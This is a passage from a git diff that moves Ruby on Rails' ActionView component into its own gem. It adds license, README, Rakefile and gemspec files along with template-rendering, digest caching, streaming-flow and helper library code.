+*   Fix an issue where partials with a number in the filename were not
+    being digested for cache dependencies.
+
+    *Bryan Ricker*
+
+*   First release, ActionView extracted from ActionPack.
+
+    *Piotr Sarnacki*, *Łukasz Strzałkowski*
+
+Please check [4-0-stable (ActionPack's CHANGELOG)](https://github.com/rails/rails/blob/4-0-stable/actionpack/CHANGELOG.md) for previous changes.
diff --git a/actionview/MIT-LICENSE b/actionview/MIT-LICENSE
new file mode 100644
index 0000000..d58dd9e
--- /dev/null
+++ b/actionview/MIT-LICENSE
@@ -0,0 +1,21 @@
+Copyright (c) 2004-2014 David Heinemeier Hansson
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
diff --git a/actionview/README.rdoc b/actionview/README.rdoc
new file mode 100644
index 0000000..8e9e416
--- /dev/null
+++ b/actionview/README.rdoc
@@ -0,0 +1,34 @@
+= Action View
+
+Action View is a framework for handling view template lookup and rendering, and provides
+view helpers that assist when building HTML forms, Atom feeds and more.
+Template formats that Action View handles are ERB (embedded Ruby, typically
+used to inline short Ruby snippets inside HTML), and XML Builder.
+
+== Download and installation
+
+The latest version of Action View can be installed with RubyGems:
+
+  % [sudo] gem install actionview
+
+Source code can be downloaded as part of the Rails project on GitHub
+
+* https://github.com/rails/rails/tree/4-1-stable/actionview
+
+
+== License
+
+Action View is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
+
+
+== Support
+
+API documentation is at
+
+* http://api.rubyonrails.org
+
+Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here:
+
+* https://github.com/rails/rails/issues
diff --git a/actionview/RUNNING_UNIT_TESTS.rdoc b/actionview/RUNNING_UNIT_TESTS.rdoc
new file mode 100644
index 0000000..104b3e2
--- /dev/null
+++ b/actionview/RUNNING_UNIT_TESTS.rdoc
@@ -0,0 +1,27 @@
+== Running with Rake
+
+The easiest way to run the unit tests is through Rake. The default task runs
+the entire test suite for all classes. For more information, checkout the
+full array of rake tasks with "rake -T"
+
+Rake can be found at http://rake.rubyforge.org
+
+== Running by hand
+
+To run a single test suite
+
+   rake test TEST=path/to/test.rb
+
+which can be further narrowed down to one test:
+
+   rake test TEST=path/to/test.rb TESTOPTS="--name=test_something"
+
+== Dependency on Active Record and database setup
+
+Test cases in the test/activerecord/ directory depend on having
+activerecord and sqlite installed. If Active Record is not in
+actionview/../activerecord directory, or the sqlite rubygem is not installed,
+these tests are skipped.
+
+Other tests are runnable from a fresh copy of actionview without any configuration.
+
diff --git a/actionview/Rakefile b/actionview/Rakefile
new file mode 100644
index 0000000..d56fe9e
--- /dev/null
+++ b/actionview/Rakefile
@@ -0,0 +1,80 @@
+require 'rake/testtask'
+require 'rubygems/package_task'
+
+desc "Default Task"
+task :default => :test
+
+# Run the unit tests
+
+desc "Run all unit tests"
+task :test => ["test:template", "test:integration:action_pack", "test:integration:active_record"]
+
+namespace :test do
+  task :isolated do
+    Dir.glob("test/{actionpack,activerecord,template}/**/*_test.rb").all? do |file|
+      sh(Gem.ruby, '-w', '-Ilib:test', file)
+    end or raise "Failures"
+  end
+
+  Rake::TestTask.new(:template) do |t|
+    t.libs << 'test'
+    t.test_files = Dir.glob('test/template/**/*_test.rb').sort
+    t.warning = true
+    t.verbose = true
+  end
+
+  namespace :integration do
+    desc 'ActiveRecord Integration Tests'
+    Rake::TestTask.new(:active_record) do |t|
+      t.libs << 'test'
+      t.test_files = Dir.glob("test/activerecord/*_test.rb")
+      t.warning = true
+      t.verbose = true
+    end
+
+    desc 'ActionPack Integration Tests'
+    Rake::TestTask.new(:action_pack) do |t|
+      t.libs << 'test'
+      t.test_files = Dir.glob("test/actionpack/**/*_test.rb")
+      t.warning = true
+      t.verbose = true
+    end
+  end
+end
+
+spec = eval(File.read('actionview.gemspec'))
+
+Gem::PackageTask.new(spec) do |p|
+  p.gem_spec = spec
+end
+
+desc "Release to rubygems"
+task :release => :package do
+  require 'rake/gemcutter'
+  Rake::Gemcutter::Tasks.new(spec).define
+  Rake::Task['gem:push'].invoke
+end
+
+task :lines do
+  lines, codelines, total_lines, total_codelines = 0, 0, 0, 0
+
+  FileList["lib/**/*.rb"].each do |file_name|
+    next if file_name =~ /vendor/
+    File.open(file_name, 'r') do |f|
+      while line = f.gets
+        lines += 1
+        next if line =~ /^\s*$/
+        next if line =~ /^\s*#/
+        codelines += 1
+      end
+    end
+    puts "L: #{sprintf("%4d", lines)}, LOC #{sprintf("%4d", codelines)} | #{file_name}"
+
+    total_lines     += lines
+    total_codelines += codelines
+
+    lines, codelines = 0, 0
+  end
+
+  puts "Total: Lines #{total_lines}, LOC #{total_codelines}"
+end
diff --git a/actionview/actionview.gemspec b/actionview/actionview.gemspec
new file mode 100644
index 0000000..e45dd04
--- /dev/null
+++ b/actionview/actionview.gemspec
@@ -0,0 +1,29 @@
+version = File.read(File.expand_path("../../RAILS_VERSION", __FILE__)).strip
+
+Gem::Specification.new do |s|
+  s.platform    = Gem::Platform::RUBY
+  s.name        = 'actionview'
+  s.version     = version
+  s.summary     = 'Rendering framework putting the V in MVC (part of Rails).'
+  s.description = 'Simple, battle-tested conventions and helpers for building web pages.'
+
+  s.required_ruby_version = '>= 1.9.3'
+
+  s.license     = 'MIT'
+
+  s.author            = 'David Heinemeier Hansson'
+  s.email             = 'david at loudthinking.com'
+  s.homepage          = 'http://www.rubyonrails.org'
+
+  s.files        = Dir['CHANGELOG.md', 'README.rdoc', 'MIT-LICENSE', 'lib/**/*']
+  s.require_path = 'lib'
+  s.requirements << 'none'
+
+  s.add_dependency 'activesupport', version
+
+  s.add_dependency 'builder',       '~> 3.1'
+  s.add_dependency 'erubis',        '~> 2.7.0'
+
+  s.add_development_dependency 'actionpack',  version
+  s.add_development_dependency 'activemodel', version
+end
diff --git a/actionview/lib/action_view.rb b/actionview/lib/action_view.rb
new file mode 100644
index 0000000..50712e0
--- /dev/null
+++ b/actionview/lib/action_view.rb
@@ -0,0 +1,97 @@
+#--
+# Copyright (c) 2004-2014 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+require 'active_support'
+require 'active_support/rails'
+require 'action_view/version'
+
+module ActionView
+  extend ActiveSupport::Autoload
+
+  ENCODING_FLAG = '#.*coding[:=]\s*(\S+)[ \t]*'
+
+  eager_autoload do
+    autoload :Base
+    autoload :Context
+    autoload :CompiledTemplates, "action_view/context"
+    autoload :Digestor
+    autoload :Helpers
+    autoload :LookupContext
+    autoload :Layouts
+    autoload :PathSet
+    autoload :RecordIdentifier
+    autoload :Rendering
+    autoload :RoutingUrlFor
+    autoload :Template
+    autoload :ViewPaths
+
+    autoload_under "renderer" do
+      autoload :Renderer
+      autoload :AbstractRenderer
+      autoload :PartialRenderer
+      autoload :TemplateRenderer
+      autoload :StreamingTemplateRenderer
+    end
+
+    autoload_at "action_view/template/resolver" do
+      autoload :Resolver
+      autoload :PathResolver
+      autoload :OptimizedFileSystemResolver
+      autoload :FallbackFileSystemResolver
+    end
+
+    autoload_at "action_view/buffers" do
+      autoload :OutputBuffer
+      autoload :StreamingBuffer
+    end
+
+    autoload_at "action_view/flows" do
+      autoload :OutputFlow
+      autoload :StreamingFlow
+    end
+
+    autoload_at "action_view/template/error" do
+      autoload :MissingTemplate
+      autoload :ActionViewError
+      autoload :EncodingError
+      autoload :MissingRequestError
+      autoload :TemplateError
+      autoload :WrongEncodingError
+    end
+  end
+
+  autoload :TestCase
+
+  def self.eager_load!
+    super
+    ActionView::Helpers.eager_load!
+    ActionView::Template.eager_load!
+    HTML.eager_load!
+  end
+end
+
+require 'active_support/core_ext/string/output_safety'
+
+ActiveSupport.on_load(:i18n) do
+  I18n.load_path << "#{File.dirname(__FILE__)}/action_view/locale/en.yml"
+end
diff --git a/actionview/lib/action_view/base.rb b/actionview/lib/action_view/base.rb
new file mode 100644
index 0000000..455ce53
--- /dev/null
+++ b/actionview/lib/action_view/base.rb
@@ -0,0 +1,209 @@
+require 'active_support/core_ext/module/attr_internal'
+require 'active_support/core_ext/module/attribute_accessors'
+require 'active_support/ordered_options'
+require 'action_view/log_subscriber'
+require 'action_view/helpers'
+require 'action_view/context'
+require 'action_view/template'
+require 'action_view/lookup_context'
+
+module ActionView #:nodoc:
+  # = Action View Base
+  #
+  # Action View templates can be written in several ways. If the template file has a <tt>.erb</tt> extension then it uses a mixture of ERB
+  # (included in Ruby) and HTML. If the template file has a <tt>.builder</tt> extension then Jim Weirich's Builder::XmlMarkup library is used.
+  #
+  # == ERB
+  #
+  # You trigger ERB by using embeddings such as <% %>, <% -%>, and <%= %>. The <%= %> tag set is used when you want output. Consider the
+  # following loop for names:
+  #
+  #   <b>Names of all the people</b>
+  #   <% @people.each do |person| %>
+  #     Name: <%= person.name %><br/>
+  #   <% end %>
+  #
+  # The loop is setup in regular embedding tags <% %> and the name is written using the output embedding tag <%= %>. Note that this
+  # is not just a usage suggestion. Regular output functions like print or puts won't work with ERB templates. So this would be wrong:
+  #
+  #   <%# WRONG %>
+  #   Hi, Mr. <% puts "Frodo" %>
+  #
+  # If you absolutely must write from within a function use +concat+.
+  #
+  # <%- and -%> suppress leading and trailing whitespace, including the trailing newline, and can be used interchangeably with <% and %>.
+  #
+  # === Using sub templates
+  #
+  # Using sub templates allows you to sidestep tedious replication and extract common display structures in shared templates. The
+  # classic example is the use of a header and footer (even though the Action Pack-way would be to use Layouts):
+  #
+  #   <%= render "shared/header" %>
+  #   Something really specific and terrific
+  #   <%= render "shared/footer" %>
+  #
+  # As you see, we use the output embeddings for the render methods. The render call itself will just return a string holding the
+  # result of the rendering. The output embedding writes it to the current template.
+  #
+  # But you don't have to restrict yourself to static includes. Templates can share variables amongst themselves by using instance
+  # variables defined using the regular embedding tags. Like this:
+  #
+  #   <% @page_title = "A Wonderful Hello" %>
+  #   <%= render "shared/header" %>
+  #
+  # Now the header can pick up on the <tt>@page_title</tt> variable and use it for outputting a title tag:
+  #
+  #   <title><%= @page_title %></title>
+  #
+  # === Passing local variables to sub templates
+  #
+  # You can pass local variables to sub templates by using a hash with the variable names as keys and the objects as values:
+  #
+  #   <%= render "shared/header", { headline: "Welcome", person: person } %>
+  #
+  # These can now be accessed in <tt>shared/header</tt> with:
+  #
+  #   Headline: <%= headline %>
+  #   First name: <%= person.first_name %>
+  #
+  # If you need to find out whether a certain local variable has been assigned a value in a particular render call,
+  # you need to use the following pattern:
+  #
+  #   <% if local_assigns.has_key? :headline %>
+  #     Headline: <%= headline %>
+  #   <% end %>
+  #
+  # Testing using <tt>defined? headline</tt> will not work. This is an implementation restriction.
+  #
+  # === Template caching
+  #
+  # By default, Rails will compile each template to a method in order to render it. When you alter a template,
+  # Rails will check the file's modification time and recompile it in development mode.
+  #
+  # == Builder
+  #
+  # Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object
+  # named +xml+ is automatically made available to templates with a <tt>.builder</tt> extension.
+  #
+  # Here are some basic examples:
+  #
+  #   xml.em("emphasized")                                 # => <em>emphasized</em>
+  #   xml.em { xml.b("emph & bold") }                      # => <em><b>emph & bold</b></em>
+  #   xml.a("A Link", "href" => "http://onestepback.org")  # => <a href="http://onestepback.org">A Link</a>
+  #   xml.target("name" => "compile", "option" => "fast")  # => <target option="fast" name="compile"\>
+  #                                                        # NOTE: order of attributes is not specified.
+  #
+  # Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:
+  #
+  #   xml.div do
+  #     xml.h1(@person.name)
+  #     xml.p(@person.bio)
+  #   end
+  #
+  # would produce something like:
+  #
+  #   <div>
+  #     <h1>David Heinemeier Hansson</h1>
+  #     <p>A product of Danish Design during the Winter of '79...</p>
+  #   </div>
+  #
+  # A full-length RSS example actually used on Basecamp:
+  #
+  #   xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
+  #     xml.channel do
+  #       xml.title(@feed_title)
+  #       xml.link(@url)
+  #       xml.description "Basecamp: Recent items"
+  #       xml.language "en-us"
+  #       xml.ttl "40"
+  #
+  #       @recent_items.each do |item|
+  #         xml.item do
+  #           xml.title(item_title(item))
+  #           xml.description(item_description(item)) if item_description(item)
+  #           xml.pubDate(item_pubDate(item))
+  #           xml.guid(@person.firm.account.url + @recent_items.url(item))
+  #           xml.link(@person.firm.account.url + @recent_items.url(item))
+  #
+  #           xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
+  #         end
+  #       end
+  #     end
+  #   end
+  #
+  # More builder documentation can be found at http://builder.rubyforge.org.
+  class Base
+    include Helpers, ::ERB::Util, Context
+
+    # Specify the proc used to decorate input tags that refer to attributes with errors.
+    cattr_accessor :field_error_proc
+    @@field_error_proc = Proc.new{ |html_tag, instance| "<div class=\"field_with_errors\">#{html_tag}</div>".html_safe }
+
+    # How to complete the streaming when an exception occurs.
+    # This is our best guess: first try to close the attribute, then the tag.
+    cattr_accessor :streaming_completion_on_exception
+    @@streaming_completion_on_exception = %("><script>window.location = "/500.html"</script></html>)
+
+    # Specify whether rendering within namespaced controllers should prefix
+    # the partial paths for ActiveModel objects with the namespace.
+    # (e.g., an Admin::PostsController would render @post using /admin/posts/_post.erb)
+    cattr_accessor :prefix_partial_path_with_controller_namespace
+    @@prefix_partial_path_with_controller_namespace = true
+
+    # Specify default_formats that can be rendered.
+    cattr_accessor :default_formats
+
+    # Specify whether an error should be raised for missing translations
+    cattr_accessor :raise_on_missing_translations
+    @@raise_on_missing_translations = false
+
+    class_attribute :_routes
+    class_attribute :logger
+
+    class << self
+      delegate :erb_trim_mode=, :to => 'ActionView::Template::Handlers::ERB'
+
+      def cache_template_loading
+        ActionView::Resolver.caching?
+      end
+
+      def cache_template_loading=(value)
+        ActionView::Resolver.caching = value
+      end
+
+      def xss_safe? #:nodoc:
+        true
+      end
+    end
+
+    attr_accessor :view_renderer
+    attr_internal :config, :assigns
+
+    delegate :lookup_context, :to => :view_renderer
+    delegate :formats, :formats=, :locale, :locale=, :view_paths, :view_paths=, :to => :lookup_context
+
+    def assign(new_assigns) # :nodoc:
+      @_assigns = new_assigns.each { |key, value| instance_variable_set("@#{key}", value) }
+    end
+
+    def initialize(context = nil, assigns = {}, controller = nil, formats = nil) #:nodoc:
+      @_config = ActiveSupport::InheritableOptions.new
+
+      if context.is_a?(ActionView::Renderer)
+        @view_renderer = context
+      else
+        lookup_context = context.is_a?(ActionView::LookupContext) ?
+          context : ActionView::LookupContext.new(context)
+        lookup_context.formats  = formats if formats
+        lookup_context.prefixes = controller._prefixes if controller
+        @view_renderer = ActionView::Renderer.new(lookup_context)
+      end
+
+      assign(assigns)
+      assign_controller(controller)
+      _prepare_context
+    end
+
+    ActiveSupport.run_load_hooks(:action_view, self)
+  end
+end
diff --git a/actionpack/lib/action_view/buffers.rb b/actionview/lib/action_view/buffers.rb
similarity index 100%
rename from actionpack/lib/action_view/buffers.rb
rename to actionview/lib/action_view/buffers.rb
diff --git a/actionpack/lib/action_view/context.rb b/actionview/lib/action_view/context.rb
similarity index 100%
rename from actionpack/lib/action_view/context.rb
rename to actionview/lib/action_view/context.rb
diff --git a/actionview/lib/action_view/dependency_tracker.rb b/actionview/lib/action_view/dependency_tracker.rb
new file mode 100644
index 0000000..0ccf251
--- /dev/null
+++ b/actionview/lib/action_view/dependency_tracker.rb
@@ -0,0 +1,135 @@
+require 'thread_safe'
+
+module ActionView
+  class DependencyTracker # :nodoc:
+    @trackers = ThreadSafe::Cache.new
+
+    def self.find_dependencies(name, template)
+      tracker = @trackers[template.handler]
+
+      if tracker.present?
+        tracker.call(name, template)
+      else
+        []
+      end
+    end
+
+    def self.register_tracker(extension, tracker)
+      handler = Template.handler_for_extension(extension)
+      @trackers[handler] = tracker
+    end
+
+    def self.remove_tracker(handler)
+      @trackers.delete(handler)
+    end
+
+    class ERBTracker # :nodoc:
+      EXPLICIT_DEPENDENCY = /# Template Dependency: (\S+)/
+
+      # A valid ruby identifier - suitable for class, method and specially variable names
+      IDENTIFIER = /
+        [[:alpha:]_] # at least one uppercase letter, lowercase letter or underscore
+        [[:word:]]*  # followed by optional letters, numbers or underscores
+      /x
+
+      # Any kind of variable name. e.g. @instance, @@class, $global or local.
+      # Possibly following a method call chain
+      VARIABLE_OR_METHOD_CHAIN = /
+        (?:\$|@{1,2})?            # optional global, instance or class variable indicator
+        (?:#{IDENTIFIER}\.)*      # followed by an optional chain of zero-argument method calls
+        (?<dynamic>#{IDENTIFIER}) # and a final valid identifier, captured as DYNAMIC
+      /x
+
+      # A simple string literal. e.g. "School's out!"
+      STRING = /
+        (?<quote>['"]) # an opening quote
+        (?<static>.*?) # with anything inside, captured as STATIC
+        \k<quote>      # and a matching closing quote
+      /x
+
+      # Part of any hash containing the :partial key
+      PARTIAL_HASH_KEY = /
+        (?:\bpartial:|:partial\s*=>) # partial key in either old or new style hash syntax
+        \s*                          # followed by optional spaces
+      /x
+
+      # Matches:
+      #   partial: "comments/comment", collection: @all_comments => "comments/comment"
+      #   (object: @single_comment, partial: "comments/comment") => "comments/comment"
+      #
+      #   "comments/comments"
+      #   'comments/comments'
+      #   ('comments/comments')
+      #
+      #   (@topic)         => "topics/topic"
+      #    topics          => "topics/topic"
+      #   (message.topics) => "topics/topic"
+      RENDER_ARGUMENTS = /\A
+        (?:\s*\(?\s*)                             # optional opening paren surrounded by spaces
+        (?:.*?#{PARTIAL_HASH_KEY})?               # optional hash, up to the partial key declaration
+        (?:#{STRING}|#{VARIABLE_OR_METHOD_CHAIN}) # finally, the dependency name of interest
+      /xm
+
+      def self.call(name, template)
+        new(name, template).dependencies
+      end
+
+      def initialize(name, template)
+        @name, @template = name, template
+      end
+
+      def dependencies
+        render_dependencies + explicit_dependencies
+      end
+
+      attr_reader :name, :template
+      private :name, :template
+
+      private
+
+        def source
+          template.source
+        end
+
+        def directory
+          name.split("/")[0..-2].join("/")
+        end
+
+        def render_dependencies
+          render_dependencies = []
+          render_calls = source.split(/\brender\b/).drop(1)
+
+          render_calls.each do |arguments|
+            arguments.scan(RENDER_ARGUMENTS) do
+              add_dynamic_dependency(render_dependencies, Regexp.last_match[:dynamic])
+              add_static_dependency(render_dependencies, Regexp.last_match[:static])
+            end
+          end
+
+          render_dependencies.uniq
+        end
+
+        def add_dynamic_dependency(dependencies, dependency)
+          if dependency
+            dependencies << "#{dependency.pluralize}/#{dependency.singularize}"
+          end
+        end
+
+        def add_static_dependency(dependencies, dependency)
+          if dependency
+            if dependency.include?('/')
+              dependencies << dependency
+            else
+              dependencies << "#{directory}/#{dependency}"
+            end
+          end
+        end
+
+        def explicit_dependencies
+          source.scan(EXPLICIT_DEPENDENCY).flatten.uniq
+        end
+    end
+
+    register_tracker :erb, ERBTracker
+  end
+end
diff --git a/actionview/lib/action_view/digestor.rb b/actionview/lib/action_view/digestor.rb
new file mode 100644
index 0000000..72d7973
--- /dev/null
+++ b/actionview/lib/action_view/digestor.rb
@@ -0,0 +1,122 @@
+require 'thread_safe'
+require 'action_view/dependency_tracker'
+require 'monitor'
+
+module ActionView
+  class Digestor
+    cattr_reader(:cache)
+    @@cache          = ThreadSafe::Cache.new
+    @@digest_monitor = Monitor.new
+
+    class << self
+      # Supported options:
+      #
+      # * <tt>name</tt>   - Template name
+      # * <tt>finder</tt>  - An instance of ActionView::LookupContext
+      # * <tt>dependencies</tt>  - An array of dependent views
+      # * <tt>partial</tt>  - Specifies whether the template is a partial
+      def digest(options)
+        options.assert_valid_keys(:name, :finder, :dependencies, :partial)
+
+        cache_key = ([ options[:name], options[:finder].details_key.hash ].compact + Array.wrap(options[:dependencies])).join('.')
+
+        # this is a correctly done double-checked locking idiom
+        # (ThreadSafe::Cache's lookups have volatile semantics)
+        @@cache[cache_key] || @@digest_monitor.synchronize do
+          @@cache.fetch(cache_key) do # re-check under lock
+            compute_and_store_digest(cache_key, options)
+          end
+        end
+      end
+
+      private
+        def compute_and_store_digest(cache_key, options) # called under @@digest_monitor lock
+          klass = if options[:partial] || options[:name].include?("/_")
+            # Prevent re-entry or else recursive templates will blow the stack.
+            # There is no need to worry about other threads seeing the +false+ value,
+            # as they will then have to wait for this thread to let go of the @@digest_monitor lock.
+            pre_stored = @@cache.put_if_absent(cache_key, false).nil? # put_if_absent returns nil on insertion
+            PartialDigestor
+          else
+            Digestor
+          end
+
+          digest = klass.new(options).digest
+          # Store the actual digest if config.cache_template_loading is true
+          @@cache[cache_key] = stored_digest = digest if ActionView::Resolver.caching?
+          digest
+        ensure
+          # something went wrong or ActionView::Resolver.caching? is false, make sure not to corrupt the @@cache
+          @@cache.delete_pair(cache_key, false) if pre_stored && !stored_digest
+        end
+    end
+
+    attr_reader :name, :finder, :options
+
+    def initialize(options)
+      @name, @finder = options.values_at(:name, :finder)
+      @options = options.except(:name, :finder)
+    end
+
+    def digest
+      Digest::MD5.hexdigest("#{source}-#{dependency_digest}").tap do |digest|
+        logger.try :info, "  Cache digest for #{template.inspect}: #{digest}"
+      end
+    rescue ActionView::MissingTemplate
+      logger.try :error, "  Couldn't find template for digesting: #{name}"
+      ''
+    end
+
+    def dependencies
+      DependencyTracker.find_dependencies(name, template)
+    rescue ActionView::MissingTemplate
+      [] # File doesn't exist, so no dependencies
+    end
+
+    def nested_dependencies
+      dependencies.collect do |dependency|
+        dependencies = PartialDigestor.new(name: dependency, finder: finder).nested_dependencies
+        dependencies.any? ? { dependency => dependencies } : dependency
+      end
+    end
+
+    private
+      def logger
+        ActionView::Base.logger
+      end
+
+      def logical_name
+        name.gsub(%r|/_|, "/")
+      end
+
+      def partial?
+        false
+      end
+
+      def template
+        @template ||= finder.disable_cache { finder.find(logical_name, [], partial?) }
+      end
+
+      def source
+        template.source
+      end
+
+      def dependency_digest
+        template_digests = dependencies.collect do |template_name|
+          Digestor.digest(name: template_name, finder: finder, partial: true)
+        end
+
+        (template_digests + injected_dependencies).join("-")
+      end
+
+      def injected_dependencies
+        Array.wrap(options[:dependencies])
+      end
+  end
+
+  class PartialDigestor < Digestor # :nodoc:
+    def partial?
+      true
+    end
+  end
+end
diff --git a/actionview/lib/action_view/flows.rb b/actionview/lib/action_view/flows.rb
new file mode 100644
index 0000000..ba24510
--- /dev/null
+++ b/actionview/lib/action_view/flows.rb
@@ -0,0 +1,76 @@
+require 'active_support/core_ext/string/output_safety'
+
+module ActionView
+  class OutputFlow #:nodoc:
+    attr_reader :content
+
+    def initialize
+      @content = Hash.new { |h,k| h[k] = ActiveSupport::SafeBuffer.new }
+    end
+
+    # Called by _layout_for to read stored values.
+    def get(key)
+      @content[key]
+    end
+
+    # Called by each renderer object to set the layout contents.
+    def set(key, value)
+      @content[key] = value
+    end
+
+    # Called by content_for
+    def append(key, value)
+      @content[key] << value
+    end
+    alias_method :append!, :append
+
+  end
+
+  class StreamingFlow < OutputFlow #:nodoc:
+    def initialize(view, fiber)
+      @view    = view
+      @parent  = nil
+      @child   = view.output_buffer
+      @content = view.view_flow.content
+      @fiber   = fiber
+      @root    = Fiber.current.object_id
+    end
+
+    # Try to get stored content. If the content
+    # is not available and we are inside the layout
+    # fiber, we set that we are waiting for the given
+    # key and yield.
+    def get(key)
+      return super if @content.key?(key)
+
+      if inside_fiber?
+        view = @view
+
+        begin
+          @waiting_for = key
+          view.output_buffer, @parent = @child, view.output_buffer
+          Fiber.yield
+        ensure
+          @waiting_for = nil
+          view.output_buffer, @child = @parent, view.output_buffer
+        end
+      end
+
+      super
+    end
+
+    # Appends the contents for the given key. This is called
+    # by provides and resumes back to the fiber if it is
+    # the key it is waiting for.
+    def append!(key, value)
+      super
+      @fiber.resume if @waiting_for == key
+    end
+
+    private
+
+    def inside_fiber?
+      Fiber.current.object_id != @root
+    end
+  end
+end
diff --git a/actionview/lib/action_view/gem_version.rb b/actionview/lib/action_view/gem_version.rb
new file mode 100644
index 0000000..34f86db
--- /dev/null
+++ b/actionview/lib/action_view/gem_version.rb
@@ -0,0 +1,15 @@
+module ActionView
+  # Returns the version of the currently loaded ActionView as a <tt>Gem::Version</tt>
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 4
+    MINOR = 1
+    TINY  = 4
+    PRE   = nil
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/actionview/lib/action_view/helpers.rb b/actionview/lib/action_view/helpers.rb
new file mode 100644
index 0000000..787e9d6
--- /dev/null
+++ b/actionview/lib/action_view/helpers.rb
@@ -0,0 +1,64 @@
+require 'active_support/benchmarkable'
+
+module ActionView #:nodoc:
+  module Helpers #:nodoc:
+    extend ActiveSupport::Autoload
+
+    autoload :ActiveModelHelper
+    autoload :AssetTagHelper
+    autoload :AssetUrlHelper
+    autoload :AtomFeedHelper
+    autoload :CacheHelper
+    autoload :CaptureHelper
+    autoload :ControllerHelper
+    autoload :CsrfHelper
+    autoload :DateHelper
+    autoload :DebugHelper
+    autoload :FormHelper
+    autoload :FormOptionsHelper
+    autoload :FormTagHelper
+    autoload :JavaScriptHelper, "action_view/helpers/javascript_helper"
+    autoload :NumberHelper
+    autoload :OutputSafetyHelper
+    autoload :RecordTagHelper
+    autoload :RenderingHelper
+    autoload :SanitizeHelper
+    autoload :TagHelper
+    autoload :TextHelper
+    autoload :TranslationHelper
+    autoload :UrlHelper
+    autoload :Tags
+
+    def self.eager_load!
+      super
+      Tags.eager_load!
+    end
+
+    extend ActiveSupport::Concern
+
+    include ActiveSupport::Benchmarkable
+    include ActiveModelHelper
+    include AssetTagHelper
+    include AssetUrlHelper
+    include AtomFeedHelper
+    include CacheHelper
+    include CaptureHelper
+    include ControllerHelper
+    include CsrfHelper
+    include DateHelper
+    include DebugHelper
+    include FormHelper
+    include FormOptionsHelper
+    include FormTagHelper
+    include JavaScriptHelper
+    include NumberHelper
+    include OutputSafetyHelper
+    include RecordTagHelper
+    include RenderingHelper
+    include SanitizeHelper
+    include TagHelper
+    include TextHelper
+    include TranslationHelper
+    include UrlHelper
+  end
+end
diff --git a/actionview/lib/action_view/helpers/active_model_helper.rb b/actionview/lib/action_view/helpers/active_model_helper.rb
new file mode 100644
index 0000000..d5222e3
--- /dev/null
+++ b/actionview/lib/action_view/helpers/active_model_helper.rb
@@ -0,0 +1,49 @@
+require 'active_support/core_ext/module/attribute_accessors'
+require 'active_support/core_ext/enumerable'
+
+module ActionView
+  # = Active Model Helpers
+  module Helpers
+    module ActiveModelHelper
+    end
+
+    module ActiveModelInstanceTag
+      def object
+        @active_model_object ||= begin
+          object = super
+          object.respond_to?(:to_model) ? object.to_model : object
+        end
+      end
+
+      def content_tag(*)
+        error_wrapping(super)
+      end
+
+      def tag(type, options, *)
+        tag_generate_errors?(options) ? error_wrapping(super) : super
+      end
+
+      def error_wrapping(html_tag)
+        if object_has_errors?
+          Base.field_error_proc.call(html_tag, self)
+        else
+          html_tag
+        end
+      end
+
+      def error_message
+        object.errors[@method_name]
+      end
+
+      private
+
+      def object_has_errors?
+        object.respond_to?(:errors) && object.errors.respond_to?(:[]) && error_message.present?
+      end
+
+      def tag_generate_errors?(options)
+        options['type'] != 'hidden'
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/asset_tag_helper.rb b/actionview/lib/action_view/helpers/asset_tag_helper.rb
new file mode 100644
index 0000000..aa49f1e
--- /dev/null
+++ b/actionview/lib/action_view/helpers/asset_tag_helper.rb
@@ -0,0 +1,322 @@
+require 'active_support/core_ext/array/extract_options'
+require 'active_support/core_ext/hash/keys'
+require 'action_view/helpers/asset_url_helper'
+require 'action_view/helpers/tag_helper'
+
+module ActionView
+  # = Action View Asset Tag Helpers
+  module Helpers #:nodoc:
+    # This module provides methods for generating HTML that links views to assets such
+    # as images, javascripts, stylesheets, and feeds. These methods do not verify
+    # the assets exist before linking to them:
+    #
+    #   image_tag("rails.png")
+    #   # => <img alt="Rails" src="/assets/rails.png" />
+    #   stylesheet_link_tag("application")
